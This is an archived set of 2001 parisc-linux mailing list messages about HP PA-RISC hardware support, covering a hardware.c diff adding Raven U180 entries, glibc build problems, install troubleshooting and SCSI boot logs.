X-Trace: ger.gmane.org 1416620420 24556 80.91.229.3 (22 Nov 2014 01:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:20 +0000 (UTC)
Cc: nick@snowman.net, parisc-linux@lists.parisc-linux.org
To: parisc-linux-cvs@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 03:30:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 86D9C482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 03:30:52 -0600 (MDT)
Original-Received: (qmail 27877 invoked by uid 0); 28 Aug 2001 09:30:50 -0000
Original-Received: from pd9040d4f.dip.t-dialin.net (HELO there) (217.4.13.79)
  by mail.gmx.net (mp004-rz3) with SMTP; 28 Aug 2001 09:30:50 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <200108280922.DAA19668@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11994

Hi Mike,

I've just added your machine to the kernel hardware database, which should 
at least eliminate the following two "Unknown device" strings in the kernel log.

> Found devices:
> 1. Unknown device (4) at 0xf200c000, versions 0x3b, 0x0, 0x89, 0x0, 0x80
> 22. Unknown device (0) at 0xfffa0000, versions 0x59c, 0x0, 0x4, 0x0, 0x81


On Tuesday 28 August 2001 11:22, Helge Deller wrote:
> CVSROOT:	/home/cvs/parisc
> Module name:	linux
> Changes by:	deller	01/08/28 03:22:53
>
> Modified files:
> 	arch/parisc/kernel: hardware.c
>
> Log message:
> - add Raven U180 cpu and FW-SCSI entries to hardware-database
> acording to <nick@snowman.net>'s machine

Index: hardware.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/hardware.c,v
retrieving revision 1.22
diff -u -r1.22 hardware.c
--- hardware.c	2001/08/28 08:01:27	1.22
+++ hardware.c	2001/08/28 09:20:59
@@ -174,6 +174,7 @@
 	{HPHW_NPROC,0x59A,0x4,0x81,"Unlisted but reserved"},
 	{HPHW_NPROC,0x59B,0x4,0x81,"Raven U 160 (9000/780/C160)"},
 	{HPHW_NPROC,0x59D,0x4,0x81,"Raven U 200 (9000/780/C200)"},
+	{HPHW_NPROC,0x59C,0x4,0x81,"Raven U 180 (9000/780/C180)"},
 	{HPHW_NPROC,0x59E,0x4,0x91,"ThunderHawk T' 120"},
 	{HPHW_NPROC,0x59F,0x4,0x91,"Raven U 180+ (9000/780)"},
 	{HPHW_NPROC,0x5A0,0x4,0x81,"UL 1w T120 1MB/1MB (841/D260,D360)"},
@@ -340,6 +341,7 @@
 	{HPHW_A_DMA, 0x01F, 0x00089, 0x80, "SkyHawk 100/120 FW-SCSI"}, 
 	{HPHW_A_DMA, 0x027, 0x00089, 0x80, "Piranha 100 FW-SCSI"}, 
 	{HPHW_A_DMA, 0x032, 0x00089, 0x80, "Raven T' Core FW-SCSI"}, 
+	{HPHW_A_DMA, 0x03b, 0x00089, 0x80, "Raven U/L2 Core FW-SCSI"}, 
 	{HPHW_A_DMA, 0x03d, 0x00089, 0x80, "Merlin 160 Core FW-SCSI"},
 	{HPHW_A_DMA, 0x044, 0x00089, 0x80, "Mohawk Core FW-SCSI"}, 
 	{HPHW_A_DMA, 0x051, 0x00089, 0x80, "Firehawk FW-SCSI"}, 




From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 07:17:43 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <20010828071743.A1289@megatonmonkey.net>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net> <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620421 24560 80.91.229.3 (22 Nov 2014 01:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:21 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 05:17:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6DCA482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 05:17:09 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7SBKip01256;
	Tue, 28 Aug 2001 07:20:44 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7SBHig07081;
	Tue, 28 Aug 2001 07:17:44 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Aug 28, 2001 at 06:10:37AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (44% Sync Ratio [====......])
Xref: news.gmane.org gmane.linux.ports.parisc:11995

> > And applied glibc_2.2.4-1.diff from same directory.
> 
> 2.2.4-1 doesn't build.  I haven't investigated in any detail, but it gets
> further than your build error indicates.  Use dpkg-buildpackage to build
> it... and you need to uncomment the hppa-specific patch in 0list... and
> you need to edit the patch anyway to get it to apply...
> 
> I have no enthusiasm for working on glibc.  Please, someone, take it
> off my hands.
> 
> -- 
> Revolutions do not require corporate support.
>

I have also tried building 2.2.4 without the diff, but with no success.

What would be the responsibilities of said maintianer?

The small fact that "uncomment the hppa-specific patch in 0list" means
little to nothing to me ;) ... is probably an indication that I'm not
experienced enough to take on glibc.

Seeing as you are the current glibc maintainer, my question would be:
What type of process do you follow for maintaining glibc?

a) Kick machine until glibc works.
b) Throw machines out window until glibc works.
c) Wait. Glibc will fix itself.
d) Who nees glibc? PARISC ASM!
e) Stay up many hours extracting those pesky pieces that don't work with HPPA.

Thanks for all the invaluable help Matthew! :}

I promise to try and stop doing crazy things like building the toolchain
by hand ;)

Cheers,
Carlos





From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] Creating the installation CD
Date: Tue, 28 Aug 2001 12:45:47 +0100
Lines: 132
Approved: news@gmane.org
Message-ID: <20010828124547.M7064@linuxcare.com>
References: <NEBBJAILOLAHGDBEOCIOKEGOCFAA.jaimeash@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620421 24564 80.91.229.3 (22 Nov 2014 01:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jaime Ash <jaimeash@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 05:44:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF1F9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 05:44:13 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 44E90B00C; Tue, 28 Aug 2001 12:45:47 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <NEBBJAILOLAHGDBEOCIOKEGOCFAA.jaimeash@home.com>; from jaimeash@home.com on Fri, Aug 17, 2001 at 06:28:27PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11996

On Fri, Aug 17, 2001 at 06:28:27PM -0700, Jaime Ash wrote:
> I finally succeeded in recording a CD using MSWindows and Easy CD Creator,
> but I am
> having a lot of problems trying to install version 0.9.2 on my HP 715 W/S.
> The problems
> I have encountered so far are:
> 
> 1. The first step in the installation menus (Configure the Keyboard) doesn't
> seem to work:
> after I followed its first 2 or 3 instructions (choosing US QWERTY keyboard)
> the keyboard arrows
> and the Return key stop functioning normally (or sometimes don't work at
> all).

Is this an HIL keyboard?  If so, as noted in the README, you should
not select a keymap.

> 2. If I skip the first step and go on to and complete Partition a Hard Disk
> (selecting my
> /dev/sdb drive, since my sda boots HPUX) I am able to complete successfully
> the following
> five steps:
> 	Initialize and Activate a Swap Partition
> 	Initialize a Linux Partition (I did this to /dev/sdb3 and /dev/sdb4)
> 	Install Operating System Kernel and Modules
> 	Configure Device Driver Modules (I did kernel/fs/fat, kernel/fs/msdos and
> kernel/fat/nfsd)
> 	Configure the Network
> 
> But, I am having trouble with the step "Install the Base System":  When I
> try to follow this step,
> choose CD-ROM drive and press Continue I get the message "The CD-ROM was not
> mounted successfully".
> If I press again Continue and attempt again to do "Install the Base System",
> I then get to a point
> where I am asked to choose a directory.  If I click OK (without choosing
> anything; i.e. with the
> choice field all blue) it asks me to "Select an Archive path" and shows a
> default of /insmnt. If I
> press Return, I get an "Important Note" telling me to install the 'testing'
> distribution (woody)
> rather than sid.  If I then hit continue, I am presented with 2 choices:
> 	testing: 'woody' - Debian Testing - Not Released
> and 	unstable: 'sid' - Debian Unstable - Not Released
> 
> If I choose 'woody', I get an Error message: Failed getting release file
> 	file: /instmnt/dists/woody/Release
> If I try the second ('sid') I am given a Warning that this is an unstable
> distribution, has Major
> bugs and the default is do not install.
> 
> I have then tried many times to repeat "Install the Base System", searching
> for the correct
> directory within the installation CD that has the Release version of the
> 0.9.2 PALINUX without
> success: no matter where I look within the CD I am always presented with the
> same 2 choices:
> 	testing: 'woody' - Debian Testing - Not Released
> and 	unstable: 'sid' - Debian Unstable - Not Released
> 
> I finally decided to ignore the Warning and I succeeded at installing the
> unstable 'sid' version,

Yes, the README tells you to install 'sid'.  I don't know why you got the
'cd not mounted successfully' message.

> except that at some point in the installation process I got the Warning:
> "Creating empty exim.conf
> so exim installs okay".  At a later point in the installation process I am

Yes, that dialog is expected, and harmless.

> given the default choice
> of Make the System Bootable, and if I choose that, I then get the choices:
> 	Next	   : Make a boot Floppy
> and	Alternate: Reboot the System
> 
> If I choose the first, I get a message that there is a Problem and asked to
> check if the floppy is
> write-protected (which it is not) or that I put it in the first (?) (Do you
> mean to check if the
> floppy is in the drive, before clicking the first choice "Make a boot
> Floppy"?)  That's what I did,
> but it didn't work.

As the README on the CD says, creating a boot floppy doesn't work atm.

> I then chose the second: "Reboot the System" and I was able to boot OK to
> the Debian System Configuration
> screen (except that I randomly get the following messages:
> 	ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> 	skb: pf=2 (unowned) dev=lo len=328
> 	PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

Known problem with dhcp-client.  To get round this, remove the links
under /etc/rc?.d/ which start dhcp-client.

> I was then able to successfully go through most of the Debian System
> Configuration screens until I got
> to the Apt Configuration, where I got the message "Cannot access security
> updates" on security.debian.org.

There are no secutiry updates for this s/w yet - it is unstable and
not an official debian release.

> After choosing Continue, I was able to complete the installation and I am
> able to log in as root.
> But, I still get the same random messages:
> 	ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> 	skb: pf=2 (unowned) dev=lo len=328
> 	PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> 
> One other thing I noticed is that, even though I had assigned the address
> 192.168.1.205 to my workstation
> (and I chose not to use DHCP), I found out that the machine'd address was
> instead 192.168.1.102, and I think
> that it is using DHCP.  (How can I verify this?)

dhpc-client should not be run from the startup scripts, but should only
be run when requested, via ifup/ifdown scripts.  As noted above, remove
the relevant /et/rc?.d entries.

> So my question is how do I install the Release version of the 0.9.2 PALINUX?

Sounds like you have already done that, most of your problems were
documented in the top level README on the CD.

Richard





From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC linux newby needs help doing an install
Date: Tue, 28 Aug 2001 13:16:39 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20010828131638.P7064@linuxcare.com>
References: <000001c12bda$3a018e90$701e10ac@winxp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620421 24568 80.91.229.3 (22 Nov 2014 01:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, jacobsbd@aol.com
To: jacobsbd <jacobsbd@jacobs.coxatwork.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 06:15:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 688B9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 06:15:05 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2E82DB00C; Tue, 28 Aug 2001 13:16:39 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <000001c12bda$3a018e90$701e10ac@winxp>; from jacobsbd@jacobs.coxatwork.com on Thu, Aug 23, 2001 at 05:15:34AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11997

On Thu, Aug 23, 2001 at 05:15:34AM -0700, jacobsbd wrote:
> OK, I am sure I am overlooking some obvious things here, but it looks like I am stuck to the point of needing help so here goes.
> 
> I downloaded the iso and burned it with Nero on a win2k machine (the only burner I have easy access to)
> 
> my configurtion is hp 735/125 workstation,  209 meg ram,  
> on narrow SCSI chain I have  2 gig ST32550N (currently HP-UX), NEC 6x external CD-ROM drive. 4mm dds1 tape drive.
> on fast wide HVD 4gig ST15150W 
> 
> I can not seem to get the serial ports to work on this system even when I run HP_UX 11.00. I have tried unplugging the keyboard and the video card to no effect.

Internal FWD scsi on 735 is known not to work, but that shouldn't stop
you installing to the external narrow scsi.  Most likely the graphical
console is not supported yet, so your best bet is to persue trying to
get the serial ports working.

Richard





From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kurc, Marcin A." <makurc@cooperstandard.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] visualize C360/785 install
Date: Tue, 28 Aug 2001 08:21:06 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <426B4FEBE684D411B0A60090273B1D2401AD0E65@AA0016>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620421 24571 80.91.229.3 (22 Nov 2014 01:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:21 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: 'Matthew Wilcox' <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 06:21:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fa0008.coopertire.com (unknown [63.150.221.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id 150C7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 06:21:12 -0600 (MDT)
Original-Received: by FA0008 with Internet Mail Service (5.5.2653.19)
	id <PBAD35VR>; Tue, 28 Aug 2001 08:21:11 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11998

I've problems booting it from cd.
Here is what I get

HARD Booted.
palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
.........

Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
Warning: kernel name doesn't end with 32 or 64... Guessing 32
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1606948 mediaptr 0x1000
Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
Loading ramdisk 1991209 bytes @ 3fe09000...
branching to kernel entry point 0x00100000
Set default PSW W bit to 0


and then it hangs. Do you know what could be wrong?

thanks

-----Original Message-----
From: Matthew Wilcox [mailto:willy@debian.org]
Sent: Monday, August 27, 2001 4:39 PM
To: Kurc, Marcin A.
Cc: 'parisc-linux@lists.parisc-linux.org'
Subject: Re: [parisc-linux] visualize C360/785 install


On Mon, Aug 27, 2001 at 04:24:08PM -0400, Kurc, Marcin A. wrote:
> Did anyone have any luck installing parisc-linux on HP visualize C360
(785)?

Ought to work.  Don't have one here, but Richard has one.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: RE: [parisc-linux] visualize C360/785 install
Date: Tue, 28 Aug 2001 14:31:48 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <sb8bacbe.020@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620422 24575 80.91.229.3 (22 Nov 2014 01:40:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:22 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <makurc@cooperstandard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 06:41:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 857AB4848
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 06:41:09 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id OAA13963 for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 14:41:08 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma013517; Tue, 28 Aug 01 14:39:47 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Tue, 28 Aug 2001 14:37:50 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:11999

>I've problems booting it from cd.
>Here is what I get
>
>HARD Booted.
>palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
>.........
>
>Kernel: partition 0 file /vmlinux
>Ramdisk: partition 0 file /ramdisk
>Warning: kernel name doesn't end with 32 or 64... Guessing 32
>ELF32 executable
>Entry 00100000 first 00100000 n 4
>Segment 0 load 00100000 size 1606948 mediaptr 0x1000
>Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
>Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
>Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
>Loading ramdisk 1991209 bytes @ 3fe09000...
>branching to kernel entry point 0x00100000
>Set default PSW W bit to 0
>
I have exactly the same problem with my C200, so you could look
op the thread 'Is a C200+ currently supported' where Brad tells
me to use the serial console, and why. I haven't yet gotten my
serial console to work, I have reason to believe I have a 1:1
serial cable, while I should have gotten an interlink cable.
The last message was send yesterday, so it isn't old yet.

Wether or not I need to set some options in the boot menu or
just have to unplug keyboard/mouse/monitor to get the serial
console is yet an open question.

Good luck,
Jurriaan





From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] visualize C360/785 install
Date: Tue, 28 Aug 2001 07:28:59 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <20010828072859.A17545@beavis.ybsoft.com>
References: <426B4FEBE684D411B0A60090273B1D2401AD0E65@AA0016>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620422 24577 80.91.229.3 (22 Nov 2014 01:40:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:22 +0000 (UTC)
Cc: 'Matthew Wilcox' <willy@debian.org>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Kurc, Marcin A." <makurc@cooperstandard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 07:29:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CCE5482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 07:29:01 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 7A173BCE8; Tue, 28 Aug 2001 07:28:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <426B4FEBE684D411B0A60090273B1D2401AD0E65@AA0016>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12000

I see a very similar problem on the C200+ and it has to do
with the console code.  To see more information you can do
the following in arch/parisc/kernel/pdc_cons.c:

	1. #define EARLY_BOOTUP_DEBUG
	
 	2. Remove CON_BOOT from the flags in
	   struct console.

This should enable you to see additional messages.

Hope that helps!

- Ryan

On Tue, Aug 28, 2001 at 08:21:06AM -0400, Kurc, Marcin A. wrote:
> I've problems booting it from cd.
> Here is what I get
> 
> HARD Booted.
> palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
> .........
> 
> Kernel: partition 0 file /vmlinux
> Ramdisk: partition 0 file /ramdisk
> Warning: kernel name doesn't end with 32 or 64... Guessing 32
> ELF32 executable
> Entry 00100000 first 00100000 n 4
> Segment 0 load 00100000 size 1606948 mediaptr 0x1000
> Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
> Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
> Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
> Loading ramdisk 1991209 bytes @ 3fe09000...
> branching to kernel entry point 0x00100000
> Set default PSW W bit to 0
> 
> 
> and then it hangs. Do you know what could be wrong?
> 
> thanks
> 
> -----Original Message-----
> From: Matthew Wilcox [mailto:willy@debian.org]
> Sent: Monday, August 27, 2001 4:39 PM
> To: Kurc, Marcin A.
> Cc: 'parisc-linux@lists.parisc-linux.org'
> Subject: Re: [parisc-linux] visualize C360/785 install
> 
> 
> On Mon, Aug 27, 2001 at 04:24:08PM -0400, Kurc, Marcin A. wrote:
> > Did anyone have any luck installing parisc-linux on HP visualize C360
> (785)?
> 
> Ought to work.  Don't have one here, but Richard has one.
> 
> -- 
> Revolutions do not require corporate support.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Tue, 28 Aug 2001 15:07:40 +0100
Lines: 99
Approved: news@gmane.org
Message-ID: <20010828150740.Q7064@linuxcare.com>
References: <20010824023133.A32128@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0108232219001.32506-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620422 24580 80.91.229.3 (22 Nov 2014 01:40:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:22 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Helge Deller <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 08:06:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C134482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 08:06:08 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0CF81B00C; Tue, 28 Aug 2001 15:07:40 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0108232219001.32506-100000@ns>; from nick@snowman.net on Thu, Aug 23, 2001 at 10:19:16PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12001

I don't recall any reports that C180 works, so it might just not be
supported.  

I can tell from your log that the scsi chip is basically working, it
has executed a few script instructions, but in each case it has hung
on a SELECT instruction.  If there is no device on a given ID the
chip should interrupt and say so; in this case there is no interrupt,
so the higher level code times out and resets.  From the log it appears
that the chip hasn't tried to generate an interrupt, so it is not just
an interrupt routing problem.

Do you have terminators on your scsi bus?

What devices are present, on which scsi IDs?

If you let it run on beyond this point does it continue to generate
errors for scsi IDs up to ID 6?

I guess the C180 has more than one scsi bus, these errors relate to the
narrow scsi bus, probably used for the CDROM.  If your disks are on
another scsi bus, and you can install va the network, you could perhaps
get going that way.

Feel free to send me a complete log of the boot msgs.

Richard


On Thu, Aug 23, 2001 at 10:19:16PM -0400, nick@snowman.net wrote:
> SCSI subsystem driver Revision: 1.00
> sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 86, options 0
> scsi0: Revision 0x2
> Post test1, istat 01, sstat0 00, dstat 84
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: Good, target data areas are dma coherent
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
> scsi0: Unable to abort command for target 0
> scsi0: Unable to send Bus Device Reset for target 0
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 00088018 (script[0x0006]), dsps = 00088448, target = 0
> scsi0: Failing command for ID0
> scsi0: Unable to abort command for target 0
> scsi0: Unable to abort command for target 1
> scsi0: Unable to send Bus Device Reset for target 1
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 00088018 (script[0x0006]), dsps = 00088448, target = 0
> scsi0: Failing command for ID0
> scsi0: Unable to abort command for target 1
>   Vendor:           Model:                   Rev:     
>   Type:   Direct-Access                      ANSI SCSI revision: 00
> scsi0: Unable to abort command for target 2
> scsi0: Unable to send Bus Device Reset for target 2
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 00089018 (script[0x0406]), dsps = 00089448, target = 0
> scsi0: Failing command for ID1
> scsi0: Unable to abort command for target 2
> 
> 
